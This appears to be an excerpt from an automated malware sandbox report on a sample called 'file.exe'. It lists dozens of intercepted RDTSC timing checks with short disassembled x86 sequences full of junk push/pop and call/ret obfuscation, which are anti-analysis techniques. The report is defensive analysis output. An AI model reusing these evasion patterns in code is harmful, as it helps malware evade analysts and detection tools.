Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1F2A second address: 9E1F30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1F30 second address: 9E1F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1F34 second address: 9E1F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6C11 second address: 9E6C8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A230Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FEEE08A2308h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D2B40h] 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007FEEE08A2308h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 mov di, 1FE0h 0x0000004a push 00000000h 0x0000004c xchg eax, esi 0x0000004d jmp 00007FEEE08A2311h 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007FEEE08A230Dh 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5ECD second address: 9E5EEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FEEE0EE360Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5EEB second address: 9E5EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5EEF second address: 9E5EF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6ED1 second address: 9E6EE8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEEE08A230Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7DCC second address: 9E7DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7F10 second address: 9E7F19 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8F0C second address: 9E8F16 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEEE0EE3606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8F16 second address: 9E8F20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FEEE08A2306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EAE9C second address: 9EAEA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA134 second address: 9EA154 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007FEEE08A2315h 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA206 second address: 9EA20D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EBDB6 second address: 9EBDF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEEE08A230Dh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e movsx edi, si 0x00000011 push 00000000h 0x00000013 or ebx, dword ptr [ebp+122D301Bh] 0x00000019 push 00000000h 0x0000001b pushad 0x0000001c or ch, 00000001h 0x0000001f mov dword ptr [ebp+122D232Ch], esi 0x00000025 popad 0x00000026 mov dword ptr [ebp+122D305Ah], edi 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f push edx 0x00000030 push ebx 0x00000031 pop ebx 0x00000032 pop edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDE1A second address: 9EDE33 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007FEEE0EE3606h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jno 00007FEEE0EE3608h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDE33 second address: 9EDE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECF46 second address: 9ECF5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 jo 00007FEEE0EE3614h 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007FEEE0EE3606h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFE45 second address: 9EFE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FEEE08A2306h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FEEE08A2308h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D3621h], esi 0x0000002e push 00000000h 0x00000030 mov bl, 21h 0x00000032 push 00000000h 0x00000034 xor dword ptr [ebp+122D1928h], edx 0x0000003a mov edi, dword ptr [ebp+122D2B30h] 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 push esi 0x00000045 pop esi 0x00000046 push ecx 0x00000047 pop ecx 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0EE1 second address: 9F0EE7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0EE7 second address: 9F0F0E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007FEEE08A2306h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEEE08A2317h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1D74 second address: 9F1D78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10A1 second address: 9F10A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEFD1 second address: 9EEFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1EB2 second address: 9F1EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10A7 second address: 9F10AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEFD5 second address: 9EEFDF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEEE08A2306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1EB8 second address: 9F1EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FEEE0EE3606h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDFF5 second address: 9EDFF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10AB second address: 9F10D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FEEE0EE360Eh 0x00000012 pushad 0x00000013 jns 00007FEEE0EE3606h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEFDF second address: 9EEFE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FEEE08A2306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4E53 second address: 9F4E57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDFF9 second address: 9EDFFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEFE9 second address: 9EEFF6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EDFFF second address: 9EE009 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FEEE08A2306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1F6F second address: 9F1F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3FA8 second address: 9F3FCE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007FEEE08A2306h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEEE08A2317h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5015 second address: 9F5019 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F906D second address: 9F9077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FEEE08A2306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9077 second address: 9F907B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FEA95 second address: 9FEA9D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992B77 second address: 992B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992B7B second address: 992B83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992B83 second address: 992B9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FEEE0EE3611h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE27E second address: 9FE295 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnc 00007FEEE08A2306h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d jo 00007FEEE08A2318h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE295 second address: 9FE299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE299 second address: 9FE29D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE3E1 second address: 9FE3F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE0EE360Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE3F0 second address: 9FE3F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE3F6 second address: 9FE3FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE3FA second address: 9FE3FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02F3E second address: A02F4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FEEE0EE3606h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05749 second address: A0574D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05816 second address: A0581F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0581F second address: A05823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A1EFB second address: 9A1F09 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEEE0EE3606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A09452 second address: A0948A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FEEE08A2317h 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jl 00007FEEE08A2306h 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 js 00007FEEE08A2306h 0x0000001f push eax 0x00000020 pop eax 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0948A second address: A09494 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEEE0EE3606h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A09E8A second address: A09E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0A046 second address: A0A052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FEEE0EE3606h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D60C second address: A0D655 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FEEE08A2311h 0x00000008 jmp 00007FEEE08A2319h 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEEE08A2319h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D655 second address: A0D688 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEEE0EE3606h 0x00000008 jmp 00007FEEE0EE3618h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jng 00007FEEE0EE3614h 0x00000017 push esi 0x00000018 jnc 00007FEEE0EE3606h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11C39 second address: A11C45 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEEE08A230Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11C45 second address: A11C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEEE0EE3608h 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11C57 second address: A11C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE08A2311h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jo 00007FEEE08A230Eh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D988A second address: 9D9893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9893 second address: 9D990A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 js 00007FEEE08A230Ch 0x0000000e push edx 0x0000000f jmp 00007FEEE08A230Dh 0x00000014 pop edx 0x00000015 popad 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FEEE08A2308h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 lea eax, dword ptr [ebp+124875CAh] 0x00000037 add di, F456h 0x0000003c nop 0x0000003d pushad 0x0000003e pushad 0x0000003f push ecx 0x00000040 pop ecx 0x00000041 push esi 0x00000042 pop esi 0x00000043 popad 0x00000044 pushad 0x00000045 jmp 00007FEEE08A2318h 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9A18 second address: 9D9A1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9B38 second address: 9D9B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9EFE second address: 9D9F04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9F04 second address: 9D9F08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA1A5 second address: 9DA1AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA7C7 second address: 9DA7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA7CC second address: 9DA80E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c adc ch, 00000046h 0x0000000f push 0000001Eh 0x00000011 call 00007FEEE0EE3618h 0x00000016 sub dl, FFFFFFECh 0x00000019 pop ecx 0x0000001a nop 0x0000001b push esi 0x0000001c pushad 0x0000001d jne 00007FEEE0EE3606h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA94B second address: 9DA951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA951 second address: 9DA956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAC79 second address: 9C1FF1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FEEE08A2310h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jne 00007FEEE08A2316h 0x00000012 nop 0x00000013 mov di, cx 0x00000016 call dword ptr [ebp+122D1A00h] 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f jp 00007FEEE08A2306h 0x00000025 jmp 00007FEEE08A230Eh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1FF1 second address: 9C1FF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11ECA second address: A11ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEEE08A2306h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1205A second address: A1205E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A128C5 second address: A128CF instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEEE08A2306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A128CF second address: A128D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A128D5 second address: A128ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2314h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A128ED second address: A12908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FEEE0EE3618h 0x0000000e push edx 0x0000000f jnl 00007FEEE0EE3606h 0x00000015 pop edx 0x00000016 pushad 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16327 second address: A16364 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2310h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007FEEE08A2306h 0x0000001a jmp 00007FEEE08A2318h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16364 second address: A1637D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3615h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1637D second address: A16383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9996ED second address: 9996F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1AEDF second address: A1AEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1AEE5 second address: A1AEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
